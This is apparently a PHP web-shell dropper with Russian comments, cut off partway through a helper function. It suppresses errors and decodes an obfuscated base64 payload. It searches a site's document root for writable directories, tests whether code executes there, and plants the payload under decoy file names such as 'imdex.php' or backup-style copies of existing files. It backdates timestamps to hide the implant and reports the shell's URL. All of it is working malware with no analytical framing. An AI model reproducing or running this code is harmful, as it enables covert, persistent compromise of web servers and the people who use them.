<?php
@ini_set('error_log', NULL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@date_default_timezone_set('UTC');

// Определение хоста
if(isset($_SERVER['HTTPS'])) $scheme = $_SERVER['HTTPS'];
else $scheme = '';
if($scheme && $scheme != '' && $scheme != 'off') $host = 'https://'.$_SERVER['HTTP_HOST'];
else $host = 'http://'.$_SERVER['HTTP_HOST'];

$homedir = @$_SERVER['DOCUMENT_ROOT'];

// Изменяется внешним скриптом
$shell = rtrim(base64_decode("PD9waHAKIyxSNWBLYyktV1B+cUMseWAnLDdddFdWNU00eWFhS0BmPlI4YUtybCNjWlhtU2RJDQ0JIC8qOH5NLGdPbTRpI0RPSyovcEFSU2Vfc3RyLypwX15FJU5NdkkvfTVMTlEwNXkgNHRuMWl8TWVSSCovKCMoaT06dVhKaXdcXFw2MkN0JFU6VGVfZyEzRl1zZztHYD8lLnkmbn1bMnh0Smo0CiIwPSIgCSM8dGJdTEJTQDRJNzJlZCdOOn1MRTxpDS4vKmAiTE1zTHUmaGFfRUghJ3MhVmF+QkYuRDtUSyJ9REwqLyclNCcgLy98Nno8dy1GamliLiFENjU5dHcxKztbdWsqejpcRGp6SS5xXEwgUXVWPk9LSz1qJkcKLi8vTXM/LXQtbk8zX3A3bGEzXidpCiIxJSIjSSx9WyFQaEEiYUwtT0dxW3h8YHI3NV9UKHd+TGFAKnt9ZU8NLi8vODwrM1tXeCJFOGpjcXFnZ0cKIjcyIgkjOjg9b35KP3lAX2hTT3VLM3dLOVM4OCs1KkxFaWZGW3NBUzxBSGJzCi4jMEYiKV05Slp0eGwlVw0nJTcnLypwRW9lSklhU2hPW2g5ckVmZHlfLno7Typ0ZDYsdTwgY2h+MXoqLy4vKiFPTHdMcCJ0aFQ8T0VpUEl1did3O2BoXyhQSFhAT1A7SF8nMXtGTlwocFBfaFMqLyIyJSIgLyoyWixeaD06SWk9JjgoNHxHbFIrTy8zakhJfSVZKUs6RzVtdTQ1Wy5ueCovLiNFeE48NnRGRyx5V3YibXdyIExBQ2FbJ3BaPEBqd29KXS8vOXg9RVV7KXNWVEoqSlAKIjQxIiAvKmZIN0A3XEdlOFwiczpWSnhneEM0YCVqTylbKio8MyovLi8qeEhnZmkiQXVrdGZLfWI1QGQsIG8wIDgiMTdlISZIQiElSjFccWEsZDJTUHc9KWJ4cSovIiU3Ii8qV20sWHFlL0RdPCl1XHk6XDhtLU4/bSMqLy4vL0U3WkVldlZZdnd7QGtUZVwiJWBPZlx3VT9YdE1EbT4uNkhQcmBnYXd8U2Z6WTUxSDRBCic5JScgIzBzZ0V8eEEqPHxpLztzPUx1TjxUQjdKIGZXYVhrVmRTS3xDeCFodU8lWXhPVA0uCS8qTGU9IERiX1Zgey1RLTdRenIwMVxmLClkQ087OUVXJSI8T01TfmBRYHRrekZqKi8nNWYnLy9vMHkoeldScy5TTGpuWHhVPTt3dzlSPlJNWkImMyV8KidLZw0uLy8gTGEqTmZkTl9IaCxabn0vW1cgUHgnYkp1UVp4OgoiJTQiI1pUWDokZE5Hb0JobDUqYCJvR3JqJS1aP2lzLVJTXjZUVntPJFZxXjNNNV4KLi8qXTEnfSdcU2wzV2JufCAidTViVUMqLyJkJSIJI1EtXiU3Tl5DIWYhfixCKlopJlw1Zyg/QHlffkN2UnBAOnUoNWlrVTkpVSxxIg0uIzB2KkM3QUdcVlZcMgoiNDEiIy42JlEyciIrLH1eYFtjezwkNyJQWj9CI2t+Y0cxZHR+d2VmWmsNLi8vRG5OV3x4OCw4Mm5nenEhDSclNScvL3ozZ3ExcDNDLmBiYS97ZGpubmkkJDg6cj9ZVGZodF1qeAouLy88Pmw+XksiaCNpaVJURzA3O3VrNUFaMyoNIjAmIi8vYFFPKGo8STtzWlh0KEpJR1h2L35XSUpfYjBaRjZNOWsuRGMqKU9mb2Z6Kkt7NnAyOQouLypcPWxndW05SH1UbVs6ZCUsP1cxL3BVNF8/KiovJzE9JyMuKjtaZ2Y6QCJzWkgNLi8vKFBmTUwrN3ZAKThWXGRtMTcub2EwJGtLcWUiTj9+NnEnb2RjS1UgKEBQR285XQ0iJTciI0k3filZSDUrWXtYIypkSTlmMTJfJ2VBPiIsJ3t8OVB+bFkzVEJWI0NafSUqWDp6MGcKLiMpM3g7cXVFPScqMTxwTU9PYCJmfG89eGJ5DSIzJSIjQW9cJkpYQDFLKyt5IF4pSnQ7YmdxCi4gLy8qcyZYbyxrImlpRjR6eChRe1pcSWVBUTxXNl45ZnJLcGlKOEkmVEtkc354CiI1NCIvL3xbP2AvW3giLTdiajJ9TF1pSykpN1c7akZiOD9kWUF5SXZBXF91YTdSMGxLfDsNLiNKKi1PY1x4bHZne31ofjhIIHwjCiIlNSIvKnA0NXgtIHhHd3t5cExJYFchMjFWfGlbWFhifFdXRFN8Jj1OdyovLiAvKnpQdnZVL2FpUiJcc1YyJE8xLT1NL3didigmKi8iMiUiLy8pQjl7eU4hbkIiLiRyI1AsVkx5ayBnMgouLyouOWAvTjVIRGl6cHY+PyxzSVNHOltZQ3NOKSR0Kz4yRSovIjcyIi8vWEoqeTA7U3thJC0rVWpsPE1+UTw8UkFhJFgvMiYKLiNWY24uKytCPmlJKitubnslaFU0IypaYiJGTXR+enENIiU0Ii8vRkVseF0mU0ZPJzNeOXshL0pZVAouLypSYEI0RSxmN05lS3k+TC9BMi5hbkZDJCVSLWRTKi8nNSUnI0NWSExKdiYoMCZOfipQbjhXbnQiTWtMIzc3ZVVnc2dLcXIqa3lPKlNRXQ0uLy9ec0N8YmlBc2VKNHVcdV9kCic3NicvL0dfMX1mS19mKmwqZ0lpIFBWXEQidD5zLjUgTk1GSkBjQmt7ellbWywjZjJVL3k+TE1qDS4gI0k8SkBFKSY8RGAuYTdYTWVNU2FwKlJ6SkleVmF8SmVANUEsDSImMiIvL0Y3UCQkQ3lDbU9BT1xLIVdJQCNFTTQpZmEKLiAgLy89YWc0SSFue1tyaCdXOURueyJASWwkNTJVcV1NNHpNQHlnajgobyNIMDIpO2gNIj0lIi8qPUA2Z09BOjZBNFssMT8gYklSVTNmJEJEOW8+UH4qLy4jQV4mb1wibCtQdEwybiVTalFlcVI+OVo8VVpYRltyKHAnWA0iNDciCS8qfjo5IFEyYUhaY1lKc0o3dy40cT9yfXwkKi8uIzBIRCl3aDdiSU5cZ0t8b3pacVJ9TDdQJXU+OTswOltOP0U+bzIKJyU1Jy8vX0MsOSQ+Pnp9JUlVVm55ZWhYdGVEPXgvIWdcek5+Rk44RSdWXy44LHdkU0dUUjUiDS4vL3QiTCNlWEIkY0xYNVBJWX13LDFGY21QNmVmX2pXNEkuCidBJScJLyosKSI3MSlQaWJxeTtibkZvcDF+bkx2UU5+bjJdRl9Wd0FlXFB3NCovLi8qc1J7JCJybUcxLWV3ZWQ5LX5Ecm4nbS8rJiovIjQ5Ii8vN2IhMHJRaGNWbFxBUF9JY0tETm86Yid7DS4vLyFmcltHNWZXXmg2LnU6RwonJTQnLy9YLzZLVGJpbSlAW2F3QUlHOC4gNUFnDS4vKllsSkRBXVd3cFg4QVA0Wi0sMCgqLydFJScgI0R7TTlbbjp1YENwUFcpckRPckQ1QjhpXXFcISVcb205Z1ZAPzk9DS4gIz5vOTNwYSdMY0MsfDpcMXxcbFV5UAoiNjYiLypbWHxbOVEkWWhOdlxPPEshXjpLW0lXZmRwaE1fSHNbTmJTam1PaSRNTFctUi9KKVolWiovLiNMJz9tYDpOP3grVWE8M3d1ZlFpUkJdeFJvKGtOYk9JQkJQYSJKdCA+PG9eIXZAJzRsCiclNCcgI1V1Oj8ycytFRjY4azV7OnU+THpHZAouLyo9VGBveEVmcFg9fncqLyJjJSIvKm9LSEt+c3N6WzBgcjZsRVsqQkZfezIjb15sbG8jSi97dDQ+UEFPKi8uLypsaCRQLnx8TT05JWZkZWdKJTRzQSovIjQxIi8qelxiIiswKVhILHNMJmVhTDEgJSovLi8vS1AgeHpsJEB+N29vUi8qcXdrKUksDSclNycvL1pOfDlxJ3s0WGpebQ0uI0dQVXswZzYuUkt6NV9eWkEtQSMwc0RmPDQ/aHk8e0tIPDkiYHl8PytIRDppMXxOT3E7Rw0nNCUnI1h4ZGFMSyJUMydzQlRCZy4vdnRzQkcnIWAyJiVGY3l6XCZsIF8hU3ANLiNLK14sLkg4Tmt9cFtcIiNkYFQhJXQxJ3Q4Pk95DSc2NScjIHhNNi5cUDhNYUchKU55WEVuOyEnUTxEKzxqJVgrSjxseS5ZSjt5eGE8Xz5bOjBYWilaCi4vLzFsVGQwelF4ICduKDB7Mi4ofUgpSFYlb1ssWm5jW11hVzoNIiYzIgkvKnY0fXU9Tj5COilXdnU3QTEvK0lvY290YyovLi8qLmx9dUpiKXo8T1BpKSovIj0lIgkvLypOXzsgZE8ncGdJfD1sWi15KyZuKU13MzQ4XkNOOztCSk4qCi4vL2MzTDF3WVduWnVMd3ltfTVIUCFmcnVGLW4gQGpzKzVwUk1dDSI0MiIJLy9RY3xmRihAVS4gXl4kfGddbCVJPSYNLgkjO2dcWGwqU1BHQHUxTUJxcz1tKSM3NVQuKm1VDSIlNCIvL2sqVlRUYik8KVc6UiYKLiNOLkY4M3suXU80bXRVUXF5bFxZQkVZLUZHYFtFU3lDcEMhcUZ2Y3NVS21SZHZSDSIxJSIjWiYiMXpSTXZdalJWTXB5dDUoRGEiaXhDeC9oRm4tUE5sYS07MiYtVnlBOVRlIkpJDS4vKmhWWidMPmpNMF9DTiVjMG5tZk9lWSQ/Nmg2fTNCWVhZa35cLz5sVWouOGNFKi8iNzMiIzpkZVVRIHZiUnllMmJFNyszP3FCe3gndyJpM3BuQSNDOTRIXT5nDS4gLy9CUmgxbkk5LVd3SDxTKDUyQFkuWk8uNCFgUX4NIiU0IiNENjBcRS0pXWhCP1gveVAtJVs5SXEoJ1UyRjYqUgouIylVU1opXzo6UU93bDVBQk5uJ3JVbFRLIW5aZEpNDSI1JSIvL3RDPnRlSyQpQERUTVcuSjEgY3E/VHYlOXMKLi8vRCdnK090SXtYenhSJyVhfjVfIz1OXmpeT1o2SiM2VE44ZihPVCc2UQoiMzYiIzNJfFYzRVA4X00wN0VrMTVeY0FFNG87YTZjeGR8YU98X0xxSjNlYXAxPCJ9fWkNLi8qdVhHdE9ZKyZNPWd+ajYucF5jcGJidmdPK3tMY3lTTmcxKyBfQiwqLyIlMyIJLypMbF9EeTxCMzMoUG1UJHU7d15Fdnpgb25YNCYhYHFXSjdxP2dQKCIyPzx5MSAjXVl5JyovLi8qansvKUh4L3FkOVB2aE5FcXd2eXVMKX4+Z0xccU1SM0AlREloeHUqLyc0JScJLypoTzRzPHxCMF5YUH5dL1U9Ki8uLypHTkBga3F+SCM0fV0qLyI1ZiIjTnxbVWZ6T3hEQSJ7Xk1cSlExLXJBDS4vKjNcTUFiIkwjR1lgNCQqLyclNicvKkIpUXVRfHpYKG80MzMqcyovLiM/eV5JZTBUPiMpJXVndzp+YSdUfQonNCUnIAkvKiBIdkowQSFYdmMwb0ooQ31COEYqLy4jRGNBa2B+NDEibiF8JFp6PydwZ2sjfV9kSUY2KQonNDUnIC8vPT5aT1pMMVxOe2w2YyFddV4lPnd2MGhLJGtPKisqZF5iMDN2TA0uLypkJHsodC4jdjVhciUuQycnfSBYbkl8U0k3dzk2YSM6WVxmVnw4Ki8iJTYiLy9ucFx4Tll+ZXgmXyVFbm9rWV5ucFZTP3R2UG1pRA0uLy82fV1ESGt7dkghQy54PipjUkFZSG48c3VJRzhgQ2wibF5oO10gIzhCMFUyCiIzJSIjIlZ3dzdgc2QrWn5fUnJUXDQ5I0RkbSd1dHheVDhJbSRKXj9jTU5fN2luI2tAMyM5fXomCi4gCQkjJz86NCNFNEV4Rk5BbjRRRWNYZnd3SUtZTzFiSUsxSGRnK1QoWFdYfmR6Lj5CPyg1Ti4qDSI2ZiIJI1BuPzhUckZaXlNVJy9pWDNBJ3dMYT1jOw0uIy5POyohfDQ7UzJoZ0NTWV4vIkpUXFInPDg+WkxVQid2eU9gTVdePCtPCiIlNCIvLzdQdndobEVCRkgkdiQuYnVwS2dBOllvVDs5eQouLy9sZy1oNWd0dT58VGB3OXdNW35RM0hIcC1oe15GYTxmc35Zbj8NJzQlJy8vLCsgKmB2bmg+enlVXHBHWkNVPHJWKyI9VWd0elZyUW0pREBAR3FjbEwjDS4vLzRBSnxWPm46bjtpPyhwVl1xPEMnXAonNDUnLyotQ3M7Zj9rI2p8dF5ZKFMxRXhDTUZcfkowSSo+cEVaWGNCVVs8SXx+JjNoeyAqLy4jOi42UG00dWV3JGRULjNxMEdRRlFbSTNBJH05c3BxaV9AKXI0djMgPzVJODJhRkhySi5hIgonJjQnCSM9ezpEIycsdnk4SnovJisiCi4JIzI7ISdbayxgfGY3S0VpO19jVGJSWzpiWkVXDSI9JSIjLHxnVTJFckZVMzljWC9kVFFiZDU7OzlUeQ0uCS8qdH5HOSQkJ35tJVw4ID5tLE9FantNKSovJzYzJyAgLy91Ml9fPUBoXHVqMyovdg0uCS8vLy90L2M5Ki9tfjgxXWg5W3xlcW5XdmUqI0kpJzo7YSo2OHFfeSYoRy4lJCoNJyU1JyAjL3w1REJ5WklzU3ZCJipYSidSVj4wbTZ9SDFPPmEmTnU7K25rDS4jQUpkSVFySkI8WGpsaWt6RytIWjJ6SVk5MHAwQ2FGOktrKTdQCiIyJSIgLy9Kc1xJNSVHak51JC9uXjNBP1s0XTEtCi4jJCsjMEF1KlYodkFQSkENJzQ1JyAvL31gTmdIS3onWnF2TFtTYjhwKCJxWzkhXn5GYkVsM250U20uJTQmUVg9d3kNLiAvL0k1I3ImTTBTZlpGbl5ITjsuYVBUTHZlWV9jUj9YPGNTQVFDX2Q3bjgxZWlKMUlHCiIlNiIjLnVBYW9pd0g5fTMqcDh7aS59UXJ6WEt1MUkNLgkgLy8rYF4vLHQwNTBhelxrNVdRJWhlK1RfUCNrbV9uXmFrdg0iMSUiLy9zTWx4XjM3Xy5vL2U0XC9kLCJfPE8KLiAvL1RUfEFcV1hZPUg2ODMhfEAoUl8iJFB8ZCRcUzBidAonNzQnCSNJJDNPbixCLzEyLnBrKFF1eUY7T31dRgouI1kuLyRQelg/WVwgJTwhQU5UWWwzW285YmBUQHh6TUp6QWFMcTYzeF8iNidsTnRpTUtTWg0iJTYiCQkvKlJjZDc5JltZSEkrZ2gvUGEhKi8uLy8nfT16Tk47az8jZzhvKTVHN3NFLSk6byQkNSB0Xy0sYUJQCiI1JSIjUkpRJ2hENlx1Z1BLVkF0RENBJlF0elUKLiAvLyF9IDNLQWN8OCYlNUUxQmVDckEuLFZZJXZwPS81LFRaUHErNCJpMFAibSxOM3g9ZyZeMg0iNWYiCS8vJiJ7YyM6YGUlISMlbl1dTyN3dl1uXUE5UW5QbTdHSGNoNClsKHtKZE9mS216Ci4vL1FJWXM8KiNBT1Q0KWo5bSVkcitoVj1gDSIlNCIvL3M/eiwpI2YxdHJkRWolND5XNj4mX3FaCi4JLy8jcWElVTptbToucT52KCxDcWs1U3trNEZvOF90Zg0nNiUnIzNaJmJKez1fakc0S0djUFVtbVVeKHYvaSEhXjllZTVwMHsiKnMoRHBnaVZcKTU2OwouLyp8VCVMWX1vYkFifWlfdHMrMkYrKzFmY2hhI2oxelRDTWZ4Ki8iNzUiLypGL2Q4WXdVJXY1Ji1MbnQuTEdcI0MrMHxQKi8uLy8lXVx7QkZCdVdScmwpc2w+VSIoLiZrbSFGJypsOTVua0YsZ0dgLV95bWFQSnZUYnlfPg0iJTYiI1JVU11afGJ1eWwwcm0uLkRsP0ZFIzdLQHVJazFyeENifkk8bX5lXHdON0AxZTwmWy8NLgkvKlVefW94Vk54Y2dmblw/SiovIkUlIi8qbmx1X0o/PWw7R2RJcytMY3R5SExJSCQgXjNyOGYqLy4vLzQ+XXZlbUw0QXVwblQhPkdODSI2MyIvL0pGU1InVVZkLFU7Ylt3NmENLi8qInBwRE8hLm0ldHhPKyl8JntKNV1ReCNrLjpXbS0qLyIlNSIJLy8xNWBbInxgJH50WkRfNDU1WSxmfQ0uLy8nPVFzLnlBfWExZXhaYw0nNCUnIz9jZnQvUUl7dCIreD0hSQouLyouTilRVyMqKTJve2tvfEdUOzBXanxDcXI3WSNWdS43QnAnbiovIjQ5IgkvKmNeZnYkVWgyZXlhTWVjZm1BXGVkQ2Z7QScrfSpOfC4qLy4JICM+MkRrUXRcIHw9O2spMXx+LFE5bGR0JHBLa2R3S1Bya0AkXyRlbzxhDSIlNiIvKkNOS0pgZlU/aGUpI2V5UX4tMWg7UVA/ZlwnRylUTytDd2k1Pl1ZSlIqLy4vL1dvc21nU01+WHAvUkMNJ2YlJyMhSF13S3J4JkMqc2swVEEqLi4KLi8qL3A5UEJGPVhgXmwoZ2ZrTDJQI1R8UzRsXUlbfnVZJz0rM1cyfXpYJ1oqLyI2ZSIJLyomdm0wNDdEK2ErRmRaJzRsQT5USyYkaXIxSXshYHEzXVRvbmsjR1olVnRScycnfik8SCovLiAvKn4sLjFeOlUwMEshZmkiN1N9UEt6SDB9JThpUjk3SH5OMngiR3dEKi8iJjUiLypgRT5rJGkkPCNpR2hvdi5fbD50b05oTDEqLy4JLy8gUmw8I2dTMU5yNTosXihLJjokQC9+blQKJz0lJy8qU31INER6OXMkLUNdPDAqLy4jVlV6QSpIR3lGenVLJU1zRD9gbFVcP155WDxKYlBqUCxXS1N1I3dwYgoiNzMiLy9dQF9mJm9hPkdAPD49SEdEMl8/Y2VyfUs/LFpRKVFOdWMmMmNbUjVmZkU0DS4vL0E7U1BeQjE3ZElzQHlvUmI1RDFQdHcyOUFtL1xQP0tgb2g+CiIlNyIJIyJNQyYgZFs4U2dyTjF2TDI7emFcPFZ6KXdBOgouI0R9cShmcExraWdRWGlAU3NKVkpoSCdfYWEpI1BxZFEwVjlRTFp0CiI0JSIjP1ZuO2hwQkxyeHJlJCdiPmREe0pJazFIbXlBKWQmDS4vKldXXzRhKGZiQDMlcyNZTjNUc3ZsbDA/eVJpR1t6JSovIjUyIiMkMUNHXkZ4cndLcCpnUUg/bEA6MFVmdGQ2RnxUfHk8IF1gIVZlcAouLyo2O2UodGpdYmJGIXhQUShrbUU0ZlYtU3EtVzc5b0spXjlQSndWPm15UDUufiovJyU1JyM3IyNUcVMwY1d8PCUlRE41JmJWO1ooUSM0W3JUWWo1ImVsDS4vL3Vhcy41PHRjaFY1S2lAL0A5dXRGOmc8S340fT4vCiJmJSIvL1BjVGAxaC1XQ1QzJT8zaDUrPmppV0gNLi8qZHx1KEhyLW5udEhtfCovJzUyJwkvL0ciLigrTDE/c0Zcajo6e0JAfSZyCi4vKjo+PntIMTxJUyg4fXNvTVdIUyovIiU2Ii8vMWlHcFEwQ3RQYGw4KENFS1NhTk50VCgvT1gpJ3RNSUYKLiNaSCF8Sy5kYDR2X0JPPF11QHs9MV8oSVs0cE9Odms6DSJmJSIgLyo7WmJoLnEpVSxRRCN4eW82eFgqLy4vKnQsKSVCPzgjIDc1Ki8iNTQiLypxX3hmX3whVUNOVXdHclw/IWN6Klw+XUBtS1NXcCovLi8vTkpFQWMuamlHJlgvVCJcRHJaKGNkcG01J3oneyxKRC5Dc1RrCiIlMyIjTnN3XU58Z2p9X1IiLV9qc1dTOzEsVSd2Mn4tIiw/OGhkWVdIDS4vKnIwOmxnR0BCNntvQCRyXik8KVB+SzRXd1FbalNWd114ZkEyLkEqLyIxJSIvKiFpOCxDe2NSezJ2Lkp+Q0luS2xYY3hPKGhtKi8uIzJgLT4mOmY8U0Yvd2lxOE5nYHJtLzsycE1lNyY2TCYpYQ0nMzMnLy9KK1YlNkAmflk1R2VRI3ooPFNES0J5cjNcIHVHRjMrOkF6U1lsInNELXUqNQ0uLy9TJU07cCVUSTkoW2EzU3xlPHsyfW4vRWh1blpdQENZLStTTCMNIiYiLyp0PSk8cCZOeDNaZ3FufS9JRCBcZCk8XTFkK3MkXThmdTxabWgqLywgIyFeYjxXZnNVYnI9U3twQFRwJzFBUw0keXdueHF6bXhpam0zaWR6d21kbTBxZHo0eWR6MGlkby8qLCFNNV1waGg2PCFZdWJ2XX4mXW8sdC4qLykgI1l9L3Nva3lERiFvLHBiLTJBQkYmUl1tZmg7JlpCQENrUGsgUjhJOjFhJnM+PVVTLw07CS8vbC0yQCtbWXYqb0JZdnMtel0oaXN2K0wmOCJxb0INQCMic3g6KT0zTnJIeTBTV0EgTSRdIXZbL31SZGFsby96Jy4qTFF3cGwKRVZhTCNKKDl5bCNHOHdZMVINKC8qb2VRUD96T1RMPj4qLyR5d254cXpteGlqbTNpZHp3bWRtMHFkejR5ZHowaWRvLypNZns/dzIubVxvZlB5VWB0flFJN2psWiIsPHpYVnJvMCovWyMxJUBeMCR4IVctKUIjCjIjO3hRP1AqbE1AZ2ZlJ19yUCRmU0s5M3N2PjwgYnxIZFkhLH5pPT07WXF2Jg1dLypoQ0pueSMma01CO10sKiEvZihtSDF0YkBnKlFwYEItcVtCNSJuLjo3Z1gqLygJIzAuLUYwdzlSTGp7eDB8LH1teF0vXj8iXkdebjdlb0IkXAokeXdueHF6bXhpam0zaWR6d21kbTBxZHo0eWR6MGlkbyNUNnJJeS1EOk1SRkIhMyBAIlhFUEsjcjFIMGQ7cWM/YG43VytcVVVPNTpVWE9UYXJ9d0NjClsvKnUjeloiP0FqP2tGJ0Z0JTQwTDJ4YCU5cD4oMDxfIUcoOFhQTWB3YkFXPTNzKyovMy8qSCknaFMwIS8lclgvPDlcfSovXS8vOFJsO1lePnxcRz45fDNmSTdLR1s6YEZZLHNqRTVGCigvKjVeJTtvZT5WUWJvWlNMcHRgRXlZJkxwcy1GdkUsY0MrMFl8QT9lLyMpfjAqLyR5d254cXpteGlqbTNpZHp3bWRtMHFkejR5ZHowaWRvI04xfGRwb0ozJXVKSyhCSEM/R3s6YW5AS0ZqbUBgSStsDVsvKlhaZjI0OFw5RitrOjVFaU4uanFTJ3RWbSBtQHhwYWs2OH1BWCQ0TDd5ZmhVKi81IC8vPE1GPFhOZVM2X3Q9eCVjYXVxVjVfIG5pNDhmCl0vKnc7d1YjMzRKeiQ+cl11PEJ1P2FxMlB1fChiQ05UKXwhcWklPFNkfCIhZSdxLSB1JXggJyovKCM3RCNtK2ZSU20iVFQ/cDNcaUh3QmAhY3ldSVQuDSR5d254cXpteGlqbTNpZHp3bWRtMHFkejR5ZHowaWRvLyokWllrdH1fZCJlUVkiJitxS2lIdSxBeHglKi9bLypRfT9lKiZdSzNzTS5OUnJJVjYtKi8xLyo9aShyb2J8Wyw5InMhd0c1XGFObmFAd29weFNUS0hlR3pneCY7ZTRRKCBxKi9dI0J5LXAyX19sME9BXydrfHYxXDktTko3YF9BJHI/VQooLy9kSVkvbFdxbXxWb2oxdHlvaUkrSlxJdmBddFI6dXQ8MnlFPGJpLnRMTj12PC9fCiIKDVA4aUdBeHQ5RWllQWFsQjZTMkxydzJPYXBqYTJkYkhISlh4K3ZoeEVpQVZhc3hyUUtOR0RkOTE5ektRQjJ2Nm5OVnBqdmNwYURySk1FemdPWEVVanNUZ3pqMkR3UG5QZUUvTWc4ZmQycnpYOWs0K1ZtVDRWQmZGOTJ0MTlsczNpa01wU2h5aUkzdjhNRHJNc1ZPeUdIYlNmL2xzWkJOamN5NFpsaGpESGk2bFFyd0s2UFNwWllOUUI1QWlxZnlsNUVPcU1VajlXMXhQSHJabUpldlluNDVGdkw2Vld3bjg3RjRaOVRZTTVIVlNGdER1a1hodnk0eW4wdkdwcjV1T3VONjJoM1pIUFNzZ2UKDTlXRnJ0dXhqbnhqdDB2VVpvd1g4eFpUOE5lejFjZTdGMFBDT0t3SHRnT0wzanpFUE91M3M0T050UkVKZEFyOE5WVDI4RndIUlRZT0tBK21VdGREZ0dGREhHdTdGNVpmeEVTN2xZQmsxRVVpbWpZbERMRFZWOTFqbGtINGFsZ0NQV2QzbEJuRnlQcitWbm5zZm9OejBBcytjbHhCZGNpZ0Yzak1HR0FhMkluV3c4SHNZYU1UTDNYOXg2VHZ3cnR3dEJwR2hMalF3V1pWam1TVXdvY0dNdmx0SlQreTJiS0FRUjdKMW9kSE1QYSt4ak1aWWFMcFVtM0ZvNlNSeDJtMDA3ZjNsRmlFS21OWUJFSU1YSHJKUk4zTTIyZG9ZNjRmbVB0aFd3UXVodHNKREgwQVE0SVNlZmhFelcxbTdGZTdzQit3Nmg2NGUyK0tydjF0ZFcwYUxXQlUyWnZuSXFybkFlMHlLQ1JHQnVoaWFvL1g5ZlVPY2o3cjk2ZFhPblNpZGFnN3JzMGNyT0M5T3RWb2NGYkxYaGI3OU1nSm9qUExxN01XVithYVZTSnJXS2Q5aUlMckFUZGl6cTh1ZXJFb3NuNDNkNUYzTklzbTc5aDlqMzJzL1U2bUdvRFNtRDFzZDhMOTZ4WklKdFZXOWY3QTllQmxSZmdFQy84OHB5azl6S2NtN2l2ZEZkTUs3OGFjRmM2Rktzc0syMnMwT21SR2FBT0VBejBrN2l5aGNWNjQ3TjB4RHBWRk1TRGVtSmVnZzdadVhKZWNMRVl0RFhFNE5EQTV1K0NtQS9MVlJOZzVIdUVNYyIjVjdGJCM+azZDSnYlfCxCNlg3Mk0zX1w3OEpjU2xuNlZLWTxDNQopI094V0QrKSBYW1RyZFcwPzQtIFE5CikvLz9dIT18LH1pJDp3RigmdT0vQyRDK1Zsa2Qhby9ELXp8PmVbZjk8LHtiRHYpeA0pLyo4I14iUUxQeHxHZmx+Py9YJiovKSNPW3BrSjxDc3B8X2xjYm5HcEBdNTVQYw0pLyooICVVN0ZSdn1TTmppazQqVH19Jn0+XSovOyAvKnJcPU0zJWdDe2ZzKU04YEY4I3M7QHtjUF9vL3IieSFvUHxaWSh7Ki8="), "\r\n");
$default_filename = 'imdex.php';
$try_random = '1'; // 0 - only default_filename, 1 - to try random

if($handle = opendir($homedir)) // Попытка раз
{
   while (false !== ($file = readdir($handle)))
   {
	   if($file == "." or $file == "..") continue;
	   if(filetype($homedir.DIRECTORY_SEPARATOR.$file) == "dir") $root_dirs[$file]=$homedir.DIRECTORY_SEPARATOR.$file;
   }

	shuffle($root_dirs);
	foreach($root_dirs as $root_name => $root_dir)
		$result[$root_name] = scan($root_dir);

	if(count($result) > 0)
	foreach($result as $info)
	{	
		if(!isset($info['dir']) || count(@$info['dir']) == 0) continue;
		if(!isset($info['file']) || count(@$info['file']) == 0) continue;
		$info['dir'] = array_unique($info['dir']);
		shuffle($info['dir']);
		if($try_random == '1')
		{
			$info['file'] = array_unique($info['file']);
			shuffle($info['file']);
		}
		else $info['file'] = array($default_filename);
		
		foreach($info['dir'] as $random_dir)
		{
			foreach($info['file'] as $random_file)
			{
				if(count($info['dir']) == 1 && $try_random == '1')
				{
					$suffix = array('_', '.old', '_old', 'old', 'bak', '.bak', '_bak', '1', '2', '3', '_1', '_2', '_3', '.1', '.2', '.3');
					shuffle($suffix);
					$replace = $suffix[0].'.php';
					$random_file = preg_replace('/\.php$/i', $replace, $random_file);
				}
				$random_path = $random_dir.DIRECTORY_SEPARATOR.'t_s_'.$random_file;

				if(!is_file($random_dir.DIRECTORY_SEPARATOR.$random_file))
				{
					if(is_writable($random_dir))
					{
						$dir_time = filemtime($random_dir);
						if($handle = opendir($random_dir))
						{
							$old_time = microtime(1);
							while (false !== ($file = readdir($handle)))
							{
								if($file == "." or $file == "..") continue;
								$filemt = filemtime($random_dir.DIRECTORY_SEPARATOR.$file);
								if($filemt < $old_time) $old_time = $filemt;
							}
							$old_time = ($dir_time < $old_time) ? $dir_time : $old_time;
							$test_str = '<?php echo md5(23); ?>';
							if(file_put_contents($random_path, $test_str))
							{
								$url = $host.str_replace('\\','/',str_replace($homedir,'',$random_path));
								if($content = get($url))
								{
									if(preg_match('/'.md5(23).'/', $content))
									{
										unlink($random_path);
										$random_path = str_replace('t_s_', '', $random_path);
										if(file_put_contents($random_path, $shell))
										{
											chmod($random_path, 0755);
											touch($random_path, $old_time);
											touch($random_dir, $dir_time);
											endik(str_replace('/t_s_', '/', $url));
										}
										else endik('re_error_write');
									}
								}
								if(file_exists($random_path))
								{
									unlink($random_path);
									touch($random_dir, $dir_time);
								}
							}
						}
					}
					break(1);
				}
			}
		}
	}
}

if(is_writable(dirname($_SERVER['SCRIPT_FILENAME']))) // Попытка два
{
	$old_time = (filemtime("./") < filemtime("../")) ? filemtime("./") : filemtime("../");
	$file = dirname($_SERVER['SCRIPT_FILENAME']).DIRECTORY_SEPARATOR.$default_filename;
	if(file_put_contents($file, $shell))
	{
		touch($file, $old_time);
		$url_path = str_replace('//', '/', dirname($_SERVER['PHP_SELF']).DIRECTORY_SEPARATOR.$default_filename);
		endik($host.$url_path);
	}
	else endik('re_error_write');
}else endik('re_error_right');

// Функции
function scan($homedir, $count=0, $files=array()) 
{
   $scan_max = 2;
   $subdir = array();
   if($count > $scan_max) return $files;
   if($handle = opendir($homedir))
   {
		$files['dir'][] = $homedir;
		while(false !== ($file = readdir($handle)))
		{
			if($file == "." or $file == "..") continue;
			$fullPath = $homedir.DIRECTORY_SEPARATOR.$file;
			if(filetype($fullPath) == "dir")
			{
				$files['dir'][] = $fullPath;
				$subdir[] = $fullPath;
			}
			elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file;
		}
		++$count;
		if(count($subdir) > 0)
		foreach($subdir as $dir) $files = scan($dir, $count, $files);

   }
   return $files;
}

function get($url)
{
	if(is_callable("curl_exec"))
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0');
